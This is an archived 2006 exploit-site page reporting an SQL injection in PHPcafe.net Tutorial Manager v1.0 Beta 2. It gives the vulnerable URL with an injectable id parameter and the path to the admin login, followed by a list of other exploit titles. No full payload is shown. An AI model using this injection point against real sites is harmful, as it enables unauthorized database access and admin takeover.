exploits , vulnerabilities , articles , sql injection in PHPcafe.net Tutorial Manager v1.0 Beta 2

2006-05-27

sql injection in PHPcafe.net Tutorial Manager v1.0 Beta 2

forum type : PHPcafe.net Tutorial Manager v1.0 Beta 2
bug found by : black-code&sweet-devil
team : site-down
type : Sql injection

code:

http://www.xxx.com/path/index.php?lang=0&CODE=1&id=[sql]


path to admin login:

http://www.xxx.com/pth/admin

All my respect to my friend sweet-devil , lezr.com , g123g.net ..

done .. peace 
securitydot.net - 2006-05-27

Exploits - newest 10 RSS | More

2007-06-15 57252 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 34178 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 42401 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 29323 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 19764 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 16701 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 19398 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 16586 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 33602 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 17223 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit